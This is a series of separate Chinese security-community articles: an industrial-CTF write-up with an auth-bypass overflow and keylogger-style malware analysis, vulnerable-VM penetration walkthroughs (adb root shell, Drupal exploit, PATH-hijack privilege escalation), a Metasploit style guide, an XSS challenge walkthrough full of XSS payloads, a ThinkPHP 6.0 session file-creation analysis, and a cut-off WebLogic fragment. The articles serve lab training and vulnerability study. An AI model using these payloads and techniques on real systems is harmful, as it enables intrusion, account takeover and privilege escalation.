刚开始的时候主办方提供了一个U盘，情景设定就是从工厂内盗出来的文件。
里面有一个叫 **Rshell.dmp** 的文件，file之后发现是一个exe文件的dump。
将这个dump文件反编译可以发现实际上这个实际上是一个用来登陆的程序。
main函数在 **0xcc1210** 这个位置上面。
int real_main()
{
char **v0; // eax@2
char **v1; // eax@3
char hObject; // [sp+0h] [bp-8h]@1
HANDLE hObjecta; // [sp+0h] [bp-8h]@2
DWORD ThreadId; // [sp+4h] [bp-4h]@1
ThreadId = 0;
hObject = (unsigned int)CreateThread(0, 0, StartAddress, 0, 0, &ThreadId);
if ( auth() )
{
print((int)aCredentialsAre, hObject);
v1 = get_fd();
fflush((FILE *)v1 + 1);
}
else
{
print((int)aRemoteAssistan, hObject);
v0 = get_fd();
fflush((FILE *)v0 + 1);
system(aCmd);
}
CloseHandle(hObjecta);
return 0;
}
如果通过验证的话，就会将会得到一个主机的shell。就是要想办法让这个auth函数返回0。auth函数的大体逻辑是这样的。
int auth()
{
char **fd; // eax@1
char v2; // [sp+0h] [bp-114h]@0
int v3; // [sp+4h] [bp-110h]@5
signed int v4; // [sp+8h] [bp-10Ch]@6
unsigned int i; // [sp+Ch] [bp-108h]@3
char v6; // [sp+10h] [bp-104h]@11
char v7; // [sp+68h] [bp-ACh]@11
char input[68]; // [sp+78h] [bp-9Ch]@1
char first_16_bytes[16]; // [sp+BCh] [bp-58h]@1
char v10; // [sp+CCh] [bp-48h]@1
char md5_digest[16]; // [sp+100h] [bp-14h]@1
md5_digest[0] = 0;
md5_digest[1] = 0xF;
md5_digest[2] = 1;
md5_digest[3] = 0xE;
md5_digest[4] = 2;
md5_digest[5] = 0xD;
md5_digest[6] = 3;
md5_digest[7] = 0xC;
md5_digest[8] = 4;
md5_digest[9] = 0xB;
md5_digest[10] = 5;
md5_digest[11] = 0xA;
md5_digest[12] = 6;
md5_digest[13] = 9;
md5_digest[14] = 7;
md5_digest[15] = 8;
print((int)aPleaseAuthoriz, v2);
fd = get_fd();
fflush((FILE *)fd + 1);
memset(input, 0, 68u);
memset(first_16_bytes, 0, 16u);
memset(&v10, 0, 52u);
while ( !scanf(a68s, input) )
;
memmove(first_16_bytes, input, 0x10u);
for ( i = 0; i < 0x10; ++i )
{
v3 = isprint(first_16_bytes[i]) == 0;
if ( first_16_bytes[i] == aRemoteassistan[i] )
v4 = 0;
else
v4 = -1;
if ( v4 + v3 )
return -1;
}
strcpy(&v10, &input[16]);
MD5_init((int)&v6);
MD5_update((int)&v6, &v10, 0x34u);
MD5_final(&v6);
return memcmp(md5_digest, &v7, 0x10u);
}
**1\. 设置了最后内置的md5比较值md5_digest，
**
**2\. 读入了68个字节到input里面**
**3\. memmove了input的前16个字节到first_16_bytes里面**
**4\. 判断first_16_bytes是不是可见字符，并且和"RemoteAssistant:"这个字符串进行比较**
**5\. 从input的第16个字符开始往v10中进行strcpy**
**6\. 对v10进行md5_hash，v6是MD5_CTX结构体digest的结果存在v7中。**
**7\. 最后如果v7和md5_digest相等的话就会返回0。**
第一眼看上去的话可能就没有什么问题。但是仔细一看的话就会发现strcpy这个函数可能存在问题。
当输入正好是68字节的时候。
因为first_16_bytes正好在input后面，所以在strcpy的时候正好全部都复制到了v10里面。
char input[68]; // [sp+78h] [bp-9Ch]@1
char first_16_bytes[16]; // [sp+BCh] [bp-58h]@1
char v10; // [sp+CCh] [bp-48h]@1
char md5_digest[16]; // [sp+100h] [bp-14h]@1
并且v10下面正好是md5_digest，所以会覆盖掉这个值。
但是要想做到覆盖md5_digest为任意值的话，必须要想办法过掉 **if ( first_16_bytes[i] ==
aRemoteassistan[i] )** 这个验证。
v3 = isprint(first_16_bytes[i]) == 0;
if ( first_16_bytes[i] == aRemoteassistan[i] )
v4 = 0;
else
v4 = -1;
if ( v4 + v3 )
return -1;
这里的这段代码实际上是可以bypass掉的。因为如果isprint的参数不是可见字符的话，isprint就会返回1。那么这样的话first_16_bytes就可以不用等于"RemoteAssistant:"这个字符串了。
所以我们必须要找到一个md5 digest全部都是不可见字符的52bytes字符串。这样在进行strcpy的时候才能够覆盖掉md5_digest，通过验证。
另外当时有个比较坑的地方是strcpy是通过NULLbyte来判断有没有结束的，所以md5_digest的最后一个字节应该是 **x00** 。
import hashlib
import string
def MD5(s):
return hashlib.md5(s).digest()
def check(s):
for i in s:
if i in string.printable:
return False
if s[-1:] != 'x00':
return False
return True
#print len(MD5('1'))
a = 'a' * 49
for i in range(1, 255):
for j in range(1, 255):
for k in range(1, 255):
md5_value = MD5(a + chr(i) + chr(j) + chr(k))
if check(md5_value):
print a + chr(i) + chr(j) + chr(k)
print MD5(a + chr(i) + chr(j) + chr(k)).encode('hex')
爆破出来一个string的值，把它的md5加在前面直接发送到服务器就能得到一个windows的shell。之后可以进行下面的步骤了
**0x02# 步步是坑**
****
通过Nmap扫描C端，会发现C端下有一台机器开着7777端口。
使用exp拿到简单权限。
之后坑点就来了… 我们一直纠结着怎么提权，然后想进行下一步渗透。
尝试了大概半个多小时无果，后来主办方过来问我们做到什么地步了,如实回答。主办方小哥告诉我们不用提权，只需要找可疑文件。于是开始寻找可疑文件
在某共享目录下找到了一个encase文件， **3.6GB** 。
用了半个多小时尝试如何下载它..
这个时候主办方又过来了，问我们到什么程度了。继续如实回答，主办方小哥说只要你们找到这个文件我们就会给你一个U盘，里面就是这个文件。
我们：WTF？？？？？
全场最大的坑点来了，如何正确的加载encase文件并提取里面的东西。
这个步骤花了我们两个小时.. 因为大部分软件都是收费，绿色版又太过时了用不了的原因。
导致本来就浪费了很多的解题时间基本就没有了..
最后的解决方式是用mountimage挂载磁盘，再用diskgenius查看文件，找到了可疑文件Malware。
**0x03# Malware**
这个malware是从机器的镜像上面提取出来的，通过分析这个malware能够找到下面所需要做的事情。
main函数的代码，这个代码是我已经分析并且patch过的了。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char **v3; // rbx
unsigned int v4; // er8
FILE *v5; // rax
unsigned int v6; // er8
char v7; // al
const char *v8; // rcx
char *v9; // rdx
signed __int64 idx; // r8
_QWORD *v11; // rbx
_QWORD *v12; // rax
__int64 v13; // rax
__int64 v14; // rbx
void *v15; // rax
_QWORD *v16; // rax
_QWORD *v17; // rax
char v19; // [rsp+20h] [rbp-E0h]
char *v20; // [rsp+28h] [rbp-D8h]
__int64 v21; // [rsp+38h] [rbp-C8h]
char homepath; // [rsp+40h] [rbp-C0h]
char v23; // [rsp+60h] [rbp-A0h]
char v24; // [rsp+80h] [rbp-80h]
struct tagMSG Msg; // [rsp+A0h] [rbp-60h]
const void *file_path[4]; // [rsp+D0h] [rbp-30h]
const void *v27[4]; // [rsp+F0h] [rbp-10h]
const void *user_profile[4]; // [rsp+110h] [rbp+10h]
char Dst; // [rsp+130h] [rbp+30h]
v21 = -2i64;
v3 = (char **)argv;
if ( (signed int)time64(0i64) <= 0x7AFFFF7F )
{
LODWORD(v5) = write(
(unsigned __int64)&stdout,
"Hello. This program written only for industrial ctf final. Don't use it for any purporse",
v4);
fflush_0(v5);
v7 = 0;
v19 = 0;
while ( v7 != 78 )
{
write((unsigned __int64)&stdout, "Write [Y]/[N] to continue: ", v6);
scanf(v8, &v19);
v7 = toupper(v19);
v19 = v7;
if ( v7 == 'Y' )
{
if ( check_volume_serial_num() )
{
get_cur_path(&Dst); // RAX : 000000000012FEE0 &L"C:\Users\test\Desktop\industrial_ctf_final_malware.exe"
//
//
get_user_profile(user_profile); // RAX : 000000000012FEC0 &L"C:\Users\test\"
//
v9 = *v3;
idx = -1i64;
do
++idx;
while ( v9[idx] );
sub_14000B500(v27, (__int64)v9, (__int64)&v9[idx]);
v11 = sub_14000B590((__int64)&v24);
v12 = sub_140009C50((__int64)&v23, user_profile);
strcat(file_path, (__int64)v12, v11); // [rbp-30]:L"C:\Users\test\industrial_ctf_final_malware.exe"
finalize((const void **)&v23, 1, 0i64);
finalize((const void **)&v24, 1, 0i64);
v13 = sub_140004CD0(file_path, (__int64)&homepath);
if ( (unsigned __int8)sub_140005740(v13) )
{
v17 = (_QWORD *)sub_14000D3E0();
sub_14000D8D0(v17);
while ( GetMessageA(&Msg, 0i64, 0, 0) )
{
TranslateMessage(&Msg);
DispatchMessageA(&Msg);
}
}
else
{
v20 = &homepath;
v14 = sub_140004CD0(file_path, (__int64)&homepath);
v15 = sub_140006490(&Msg, v27);
if ( registry((__int64)v15, v14) )
{
v16 = sub_140009C50((__int64)&Msg, v27);
clean((__int64)v16);
}
}
finalize(file_path, 1, 0i64);
finalize(v27, 1, 0i64);
finalize(user_profile, 1, 0i64);
finalize((const void **)&Dst, 1, 0i64);
}
return 0;
}
}
}
return 0;
}
可以看到它首先是获得了一个时间戳，通过这个时间戳来判断程序是否执行。
之前的时间戳恰好是1024比赛开始之前，因此我patch了这个时间，好让程序能够继续的执行。
之后是在check_volume_serial_num函数里面检查了卷的序列号
bool check_volume_serial_num()
{
[...]
GetDriveTypeA(0i64);
if ( !GetVolumeInformationA(
0i64,
&VolumeNameBuffer,
0x104u,
&VolumeSerialNumber,
&MaximumComponentLength,
&FileSystemFlags,
&FileSystemNameBuffer,
0x104u) )
return 0;
[...]
return VolumeSerialNumber == 0x2D98666;
}
patch掉这个返回的比较，把判断相等变成判断不相等就能够继续进行动态的调试了。
之后在 **if ( (unsigned __int8)sub_140005740(v13) )**
check了一下malware所运行位置是不是HOMEPATH。
如果不是的话，就进入下面的流程，把这个程序复制到HOMEPATH里面，然后删除当前的程序。
如果是在HOMEPATH里面执行的话，就进入 **sub_14000D8D0** 里面操作。
__int64 __fastcall sub_14000D8D0(_QWORD *a1)
{
[...]
v2 = GetModuleHandleA(0i64);
v3 = v2;
if ( !v2 )
exit(1);
v1[5] = SetWindowsHookExA(13, fn, v2, 0);
v1[6] = SetWindowsHookExA(14, fn, v3, 0);
create_folder(&folder);
sub_14000FC30();
sub_14000FC30();
folder = (__int64 *)&folder;
v5 = Stat(folder, &v15);
v6 = v5 != 8 && v5 != -1;
v7 = v6 == 0;
finalize((const void **)&folder, 1, 0i64);
if ( v7 )
{
create_folder(&folder);
sub_14000BB40(&folder);
finalize((const void **)&folder, 1, 0i64);
}
v10 = sub_14000D750(v8, &folder);
v15 = v10;
if ( v1 + 55 != v10 )
sub_140003050(v1 + 55);
LOBYTE(v9) = 1;
return std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(v10, v9, 0i64);
}
这个函数大致的处理流程是这样子的，首先通过 **SetWindowsHookExA** 对事件 **WH_KEYBOARD_LL** 和事件
**WH_MOUSE_LL** 进行了hook。
fn函数就是当有键盘操作或者鼠标点击的时候在data文件家里面创建截图。
LRESULT __fastcall fn(int code, WPARAM wParam, LPARAM lParam)
{
LPARAM v3; // rsi
WPARAM v4; // rdi
int v5; // er14
_QWORD *v6; // rbx
_QWORD *v7; // rbx
__m128i v8; // xmm6
__int64 v9; // rax
__int64 v10; // rcx
char v12; // [rsp+38h] [rbp-A0h]
__int128 v13; // [rsp+48h] [rbp-90h]
__int64 Dst; // [rsp+58h] [rbp-80h]
__int64 v15[2]; // [rsp+60h] [rbp-78h]
__int64 v16; // [rsp+70h] [rbp-68h]
void **v17; // [rsp+F0h] [rbp+18h]
Dst = -2i64;
v3 = lParam;
v4 = wParam;
v5 = code;
v6 = *(_QWORD **)&qword_140110118;
if ( !*(_QWORD *)&qword_140110118 )
{
v7 = operator new(0x1D8ui64);
memset(v7, 0, 0x1D8ui64);
v6 = sub_14000BCC0(v7);
*(_QWORD *)&qword_140110118 = v6;
}
if ( v5 >= 0 )
{
if ( !((v4 - 256) & 0xFFFFFFFFFFFFFFFBui64) )
{
*(_QWORD *)&v13 = *(_QWORD *)(v3 + 16);
switch ( *(_DWORD *)v3 )
{
case 0xA0:
*((_BYTE *)v6 + 36) = 1;
break;
case 0xA1:
*((_BYTE *)v6 + 37) = 1;
break;
case 0xA2:
*((_BYTE *)v6 + 34) = 1;
break;
case 0xA3:
*((_BYTE *)v6 + 35) = 1;
break;
case 0xA4:
*((_BYTE *)v6 + 32) = 1;
break;
case 0xA5:
*((_BYTE *)v6 + 33) = 1;
break;
default:
sub_14000DA20((__int64)v6, *(_DWORD *)v3);
break;
}
}
if ( !((v4 - 257) & 0xFFFFFFFFFFFFFFFBui64) )
{
*(_QWORD *)&v13 = *(_QWORD *)(v3 + 16);
switch ( *(_DWORD *)v3 )
{
case 0xA0:
*((_BYTE *)v6 + 36) = 0;
break;
case 0xA1:
*((_BYTE *)v6 + 37) = 0;
break;
case 0xA2:
*((_BYTE *)v6 + 34) = 0;
break;
case 0xA3:
*((_BYTE *)v6 + 35) = 0;
break;
case 0xA4:
*((_BYTE *)v6 + 32) = 0;
break;
case 0xA5:
*((_BYTE *)v6 + 33) = 0;
break;
default:
break;
}
}
if ( v4 == 0x201 || v4 == 0x206 )
{
v8 = *(__m128i *)v3;
v13 = *(_OWORD *)(v3 + 16);
memset(&Dst, 0, 0xF8ui64);
sub_14000E290(&Dst);
_mm_storeu_si128((__m128i *)v15, (__m128i)0i64);
v16 = 0i64;
sub_140010E70(_mm_cvtsi128_si32(v8) - 50, _mm_cvtsi128_si32(_mm_srli_si128(v8, 4)) - 50, (__int64)v15);
v9 = sub_140006300(&v12, v15);
sub_1400050F0(v10, v9);
v15[1] = v15[0];
sub_140007BB0(v15);
sub_14000E150(&v17);
v17 = &std::ios_base::`vftable';
std::ios_base::_Ios_base_dtor((struct std::ios_base *)&v17);
}
}
return CallNextHookEx((HHOOK)v6[5], v5, v4, v3);
}
大致的结果如下
所以之后的工作就是到用户目录的data文件夹下找下一步的线索。
Data目录在上一步挂载的磁盘中，后续的题目还没来得及跟进。
**0x04# 写在最后**
****
非常感谢GeekPwn官方给了这次参加工控CTF的机会，也感受到了自己实力的不足。
有想研究题目的可以微博私信[ **@MMMXny**](https://weibo.com/u/1390260711)，我可以分享文件给你。 | 社区文章 |
# 渗透测试实战-Android4靶机+billu b0x2靶机入侵
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
大家好！爱写靶机渗透文章的我又来了，因为是在工作闲暇时间做的靶机解题，所以更新可能会比较慢，为什么这篇要2个靶机写在一起哪？还是一样虽然第一个靶机困了我很久但比较简单故就和另外一个合并在一起发表了….
## 靶机安装/下载
Android4靶机下载：<https://pan.baidu.com/s/1mdjXHQOYwUC8iVvHvKmo2A>
billu b0x2靶机下载：<https://pan.baidu.com/s/1NAAiXJUouE9AoW-wYJf_tQ>
Android4靶机IP：192.168.1.18
billu b0x2靶机IP：192.168.1.13
攻击者IP：192.168.1.14
## 实战
### 1\. Android4靶机
平时是不是玩腻了普通机器，这次我们来玩一下安卓手机入侵。。。。
第一步肯定还是一样，探测ip（很多小伙伴加我私信或者留言处问我，怎么获取IP啊，怎么知道靶机IP啊，这里写出来了，希望大家以后别再问这些问题了，这些比较简单的问题您大可以百度谷歌相信它们给的答案会比我的好。自己的局域网都扫不平何以扫天下。装逼欠抽脸…..）
输入命令：netdiscover （或者 arp-scan -l）
下面老规矩 使用 nmap 神器开路
可以看到目标开放了3个端口，分别是 5555、8080、22000
看到这里小伙伴们肯定也是跟我一样，直接找8080 http服务下手。。。 没错。我也是做的，访问如图：
看到页面，我靠 有黑客。。。 根据页面提示 说留了个后门，用POST方式提交。
那还犹豫啥，直接跑目录啊！
可以看到出来一个 dackdoor.php. 是不是很高兴？然而访问后说这样的。。。。
提示 假的后门，说明这思路不对。。。（小弟在这里卡了很久很久很久很久，一直不死心加载各种字典来猜解，都一无所获，一度都删除了该靶机….）
那我们继续搜索一下有没有其他服务版本的漏洞吧。。。
1. PHP cli server 5.5
未发现….
2. Dropbear sshd 2014.6
可以看到是有一下对于的应用漏洞，但是版本对不上….
到此小弟当时都绝望了。。。
只能吧希望都寄托在最后一个端口 5555上了
然后一顿谷歌 freeciv？ 是什么服务。。。
最后发现是 adb 应用的服务端口 （“adb”是什么，相信搞过android的渗透的小伙伴都知道！）
然后搜索adb的漏洞，结果有发现，如图：
找到了 16年的一个 远程命令执行漏洞，当然是直接调用模块利用啊，一顿操作，如图：
执行利用脚本以后，发现是存在当时没有反弹到shell…. 该怎么办呢？
下一步呢 我们就直接用adb 去链接他即可，
（注：肯定又会有小伙伴问了，我的kali上没有adb啊，adb怎么安装啊，您只需要输入命令：sudo apt-get install adb 即可！）
输入命令 adb connect 192.168.1.18:5555 ，如图：
第二步输入命令 adb shell 即可拿到shell，如图：
可以看到，没问题 是个正经的安卓系统shell，下一步肯定是提权了，其实很简单只需输入 su 回车，即可直接拿到root shell， 如图：
下面去拿flag，如图：
您以为要结束了吗？我觉得没有…. 既然已经拿到root权限了，难道你就不想看看，手机里面是什么样的，有什么好东西吗？
那我们就要绕过破解锁屏密码，如果没有权限您肯定跟我一样试一遍弱口令啥的，但是我们现在有 root 权限啊。折腾那些干嘛。。。
直接要吗拿key破解，要吗就直接删除它，当然我这样有逼格的人，肯定是…. 删掉key！！！
操作如图：
成功进入手机系统，如图：
好吧，比我口袋还干净。。。。
本靶机完！
### 2. billu b0x2靶机
老规矩 nmap 开路
通过探测可以看到该靶机一共开放了5个端口，我们还是把目光放在80端口上
访问如图：
看到底下 该网站使用了
“Drupal”框架搭建，前几个月该框架曝光过一个高危漏洞，根据这些靶机的惯用尿性，应该是存在该漏洞的。通过MSF来搜索该漏洞，如图：
发现有漏洞，调用模块输入ip和payload，如图：
成功拿下shell。。。。 如图：
下一步肯定就是提权了，我们也还是按照正常流程走，为了演示方便，小弟上传了一个webshell，并在/tmp 目录下 上传几个探测脚本，如图：
下面就比较简单，给权限运行脚本
可以看到该脚本探测给出了比较多的可能可以成功提权的漏洞编号，小弟试了一个脏牛，卡住了，没有提权成功。
下面小弟进行执行另外一个探测脚本，看看有没有什么突破口，如图：
通过上面几个探测脚本的探测结果，我们搜集了2处可以继续利用提权的地方，本次仅仅演示一种，另外一种希望留给各位大佬自己去实验测试。
1. /etc/passwd 文件可以写，其中 “indishell”用户权限较高
2. /opt/s 拥有root权限
本次演示第二种提权方法, 使用 strings 查看 /opt/s ， 如图：
发现其会 scp 命令 且为 root 权限，下面为只需要上传一个 恶意后门命名为 scp ，本次靶机测试 小弟就只需要拿到root shell 即可
所以scp文件只写入“/bin/bash”。如图：
下面是我们查看一下环境变量，命令：echo $PATH
下一步就是把 我们刚刚上传 scp 文件的目录 “/tmp” 添加进变量，如图：
通过上面的命令可以看到，已经把/tmp 目录添加进了变量，并且也给了权限给“scp”文件，下一步就是 切换到/opt/目录下，执行“./s” 如图：
可以看到 我们已经成功拿到root权限。
上面留的另外一个突破口和那些跑出来的可能可以提权的漏洞，留给各位小伙伴们自行线下测试！！！
## 结语
感谢各位大佬百忙之中的观看，祝您生活愉快，工作顺心，身体健康！！！ | 社区文章 |
* * *
* 原文地址：<https://github.com/rapid7/metasploit-framework/wiki/Style-Tips>
* 译者：王一航 & Google 2018-05-15
* 校对：王一航 2018-05-15
* * *
# [](https://github.com/rapid7/metasploit-framework/wiki/Style-Tips#editor-configuration)编辑器配置
请让你的文本编辑器为你处理格式化问题，这会在我们接受你的代码的时候不那么头疼。
绝大多数的 Metasploit 贡献者在使用 vim 和/或者 gvim 作为他们的默认编辑器。
如果你有一些其他的编辑器的配置的话，我们非常乐意看到你分享出来！
#### [](https://github.com/rapid7/metasploit-framework/wiki/Style-Tips#vim-and-gvim)VIM 与 GVIM
添加下面的配置文件到你的 .vimrc 文件中，你的代码将会更加符合
[CONTRIBUTING.md](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md) 和
[msftidy.rb](https://github.com/rapid7/metasploit-framework/blob/master/tools/msftidy.rb) 指南中的要求。
顺便提一句，如果你安装了 [Janus Distribution](https://github.com/carlhuda/janus) 这个 vim
的插件，那么下面配置文件中的工作将会被这个插件自动化地完成。但是如果你是一个特殊的雪花（译者注：可能是完美主义者的意思？），那么下面的操作就可以让你的代码有非常完美的格式。
set shiftwidth=2 tabstop=2 softtabstop=2
" textwidth 这个配置项会影响 `gq` 命令，这对格式化注释非常方便
set textwidth=78
" Metasploit 要求使用 空格 代替 制表符
set expandtab
" 高亮每一行结尾（EOL，end of line）的空格，并且将 制表符 与 空格合并
hi BogusWhitespace ctermbg=darkgreen guibg=darkgreen
match BogusWhitespace /\s\+$\|^\t\+ \+\|^ \+\t\+/
如果您希望这些设置只对于 Ruby 文件生效，您可以使用 vim 的 `autogroup` 和 `autocommands` 功能。
if !exists("au_loaded")
let au_loaded = 1
augroup rb
au FileType ruby set shiftwidth=2 tabstop=2 softtabstop=2 textwidth=78
au FileType ruby set expandtab
au FileType ruby hi BogusWhitespace ctermbg=darkgreen guibg=darkgreen
au FileType ruby match BogusWhitespace /\s\+$\|^\t\+ \+\|^ \+\t\+/
augroup END
endif
你也可以使用 `:set list` 命令来将所有空格视为不同的字符，以便更容易看到错误的空白。
#### [](https://github.com/rapid7/metasploit-framework/wiki/Style-Tips#rubymine)Rubymine（译者注：Jet Brains 出品）
鉴于切换到使用标准Ruby缩进，RubyMine 不再需要特殊配置。 两个空格替换制表符妥妥的！
# [](https://github.com/rapid7/metasploit-framework/wiki/Style-Tips#grammar-and-capitalization) 语法与大小写
虽然我们了解世界上有很多种语言，但Metasploit主要是以美国英语开发的。因此，模块中的描述语法应当符合美国英语的语法惯例。这样做不仅可以确保大多数
Metasploit 用户使用的方便，而且还可以帮助自动（和手动）翻译为其他语言。
#### [](https://github.com/rapid7/metasploit-framework/wiki/Style-Tips#titles)
标题
模块标题应该像文章的标题一样容易阅读。 有关英文的大写规则，请参阅：
* <http://owl.english.purdue.edu/owl/resource/592/01/>
唯一的例外是函数名称（例如：`thisFunc()`）和特殊的文件名称（例如：`thisfile.ocx`）。
模块标题应该被良好设计，所以第一个和最后一个词都以大写字母开头，因为这是
[msftidy.rb](https://github.com/rapid7/metasploit-framework/blob/master/tools/msftidy.rb) 的检查项目。 | 社区文章 |
# XSSed通关教程
首先整体浏览网站
## **进入Level1 Basic XSS**
首先整体浏览网站
对源码进行分析
漏洞产生于如下代码段：
echo($_GET['q']);
直接将用户输入插入了html页面，没有任何过滤。
* 构造普通payload：
`<script>alert(/xss/)</script>`
页面弹窗成功
* 构造获取cookie的payload：
`<script>alert(document.cookie)</script>`
成功弹出cookie
* 构造a链接的xss的payload：
<a href="javascript:alert('xss')">xss</a>
点击xss链接成功弹窗
* 构造加载图形失败执行的payload：
<img src=x onerror=alert(1)>
成功弹窗
* 构造iframe框架payload：
<iframe onload=alert('xss')>
成功弹窗
* 构造svg标签payload
<svg onload=alert(1)>
成功弹窗
* 构造video标签payload
<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />
成功弹窗
* 构造body标签payload
`<body onload=alert(1)>`
成功弹窗
* 构造style标签payload
`<style onload=alert(1)></style>`
成功弹窗
* 构造input标签payload
`<input onmouseover=alert(1)>`
当鼠标移动到空白位置，成功弹窗
万能xss的payload
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNclJavaScript XSSiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
## **进入Level2 JavaScript XSS**
首先整体浏览网页
对源码进行分析
漏洞产生于如下代码段：
$q = $_GET['q'];
<script type="text/javascript">
var search_term = " $q";
</script>
* 构造普通payload：
`<script>alert(/xss/)</script>`
弹窗失败，查看页面回显的代码
与basic
xss将输入插入到html中不同，这里把输入未经过滤插入了JavaScript代码段。因为在字符串中，需要闭合两边的引号，构造如下payload：
`a";alert(1);var q="a`
成功弹窗
* 构造加载图形失败执行的payload：
<img src=x onerror=alert(1)>
成功弹窗
## **进入Level3 Filtered XSS**
首先整体浏览网页
对源码进行分析
漏洞产生于如下代码段：
$id = str_replace('"', '"', $_GET['id']);
$creditcard = $_GET['creditcard'];
$creditcard = preg_replace('/([^\s])([A-Za-z\\"\\\'])/', '', $creditcard);
print <<<END
<h1>Please Confirm Your Order</h1>
<div id="creditcard">$creditcard</div>
<script type="text/javascript">
var q = "$id";
document.write("<!-- " + q + "-->");
</script>
END;
从源码中可以看出，过滤creditcard的正则非常完善，而对变量id只是转义了一下双引号（所以用双引号闭合是插不进去的）。这里体现了木桶原理，只要有一个可控输入位置成为插入点，其它输入的过滤再严格也没有意义。
* 构造普通payload：
`<script>alert(1);</script>`
查看回显html页面代码：
有两处值得我们注意：
1、我们的输入\alert(1);\被过滤得只剩下 t(1) ，可见后端的正则过滤比较完善；
2、html后半部分有一个JavaScript代码段，其中有一个变量q，它先被赋值为123，然后被用注释符包裹，最后写入到到页面中，如果我们可以控变量q的值，闭合注释，就能利用document.write()函数向页面中插入js代码。
再回到前端看看有没有可能控制变量q，发现：
有一个变量id的默认值为123，它的属性被设置为hidden，可以想到这里的id就是后端的q，我们将hidden改为text，页面上就会多出一个id的输入框。
值得注意的是，因为是插入到js代码段中，而html又是一种从前往后遇到匹配的标签就解析的语言，所以不能使用\</script>标签，否则会使该代码段的`\<script>`标签提前被闭合而产生混乱，就像下面这样：
那要如何插入js代码呢？这里就要用到一个伪协议：
javascript:[code]
直观上来说，这个伪协议可以让一个放url链接的地方，执行js代码，比如：
<a href="http://fdujwc.cn" target='_blank'>点这里跳转链接</a>
<a href=javascript:alert(1); target='_self'>点这里执行js代码</a>
这里之所以用不同的target属性是因为我使用的博客框架对<a>有一个默认值target='_blank'，这个标签导致新打开一个窗口，会影响js代码在当前页面的执行。
现在，我们运用这个伪协议，构造payload：
id=--><a href=javascript:alert(1);>click</a><!--
点击click成功弹窗
另外，题目要求alert出creditcard的值，所以还要把alert内的东西完善一下，最终payload：
--><a href=javascript:alert(document.getElementById('creditcard').innerHTML);>click</a><!--
点击click成功弹窗
## **进入Level4 Chained XSS**
首先整体浏览网站
* 构造普通payload：
`<script>alert(/xss/)</script>`
页面弹窗成功
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# ThinkPHP6.0任意文件创建分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：[mochazz](https://mochazz.github.io/)@奇安信观星实验室
前两天看到 **ThinkPHP6.0** 的一个漏洞： [【安全风险通告】ThinkPHP 6.0
“任意”文件创建漏洞安全风险通告](https://mp.weixin.qq.com/s/qgjf55CWNXNNzmLQgzUOpQ)
。由于没有漏洞细节，只能通过这些描述及官方 **commit** 记录来还原一下漏洞细节。
## 漏洞环境
➜ html composer create-project topthink/think tp60
将 **tp60/composer.json** 文件的 **“topthink/framework”: “^6.0.*”,** 改成 **6.0.0**
版本，并执行如下命令。
➜ tp60 composer update
➜ tp60 ./think run --host=0.0.0.0 --port=8000
修改 **/var/www/html/tp60/app/controller/Index.php** 文件如下：
<?php
namespace appcontroller;
use appBaseController;
class Index extends BaseController
{
public function index()
{
session('demo', $_GET['c']);
return 'ThinkPHP V6.0.0';
}
public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
}
修改 **/var/www/html/tp60/app/middleware.php** 文件如下（开启Session功能，可参考：
<https://www.kancloud.cn/manual/thinkphp6_0/1037635> ）
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// thinkmiddlewareCheckRequestCache::class,
// 多语言加载
// thinkmiddlewareLoadLangPack::class,
// Session初始化
thinkmiddlewareSessionInit::class
];
## 漏洞分析
根据漏洞通告的时间线及官方的更新简述，我们可以从相近时间线的 **commit** 开始看起。
这里我们关注到更新中包含一个可能的 `Session` 安全隐患修正，我们看其具体代码。可以发现修复代码中主要多了 **ctype_alnum($id)**
，只允许 **$id** 由字母和数字构成。
再看 **奇安信 CERT** 对于漏洞的描述：
> 近日，奇安信补天漏洞响应平台收到ThinkPHP 6.0 “任意”文件创建漏洞，该漏洞源于ThinkPHP
> 6.0的某个逻辑漏洞，成功利用此漏洞的攻击者可以实现“任意”文件创建或覆盖，可能造成 Web 应用被破坏（远程拒绝服务），特殊场景下还可造成
> GetShell。建议各单位自查，并尽快升级至修复版本。
所以我们很容易想到该漏洞可能和文件存储 **session** 有关。我们发送正常数据包时，会发现 **session** 文件默认存储在
**/var/www/html/tp60/runtime/session** 下，其文件名格式类似 **sess_PHPSESSID** 。而当我们在
**PHPSESSID**
中插入特殊字符时，程序还是能正常生成对应文件。因此，这里存在任意文件创建漏洞，且通过插入路径穿越符，还存在文件覆盖和getshell的可能。
下面我们来看具体的漏洞代码。在 **session** 初始化时，程序会将 **PHPSESSID** 对应的值赋值给
**thinksessionStore:id** 。这里如果 **PHPSESSID** 对应值长度等于32，则无任何过滤直接赋值。
然后在程序构造响应数据返回给用户时，会先将 **session** 写入文件，而这个文件的文件名则由之前的 **PHPSESSID**
拼接而成。由于没有任何的过滤，这也就造成了任意文件创建、覆盖。如果在 **session** 数据可控的情况下，还能达到 **getshell** 的目的。
最终利用效果如下：
**招聘信息：奇安信观星实验室常年招聘安全研究员、红队工程师，简历投递至[[email protected]](mailto:[email protected])
，投递注明( 姓名+职位)** | 社区文章 |
## 前记
当时以为挖成功了，结果后来发现是少打了一个补丁，在朋友圈虚晃了一枪。不过整个利用思路还算有趣，虽然失败了但这并不妨碍在这里分享一下。
## sink点可行性验证
开局风干师傅送了个sink点。
我们先来分析一下sink点com.tangosol.coherence.transaction.internal.storage.KeyBackingMap#put的可行性。
如果这里this.m_context是ReplicatedCache$BackingMapContext，反序列化的时候会进入BackingMapContext#getValueFromInternalConverter再进入getConverterFromInternal。
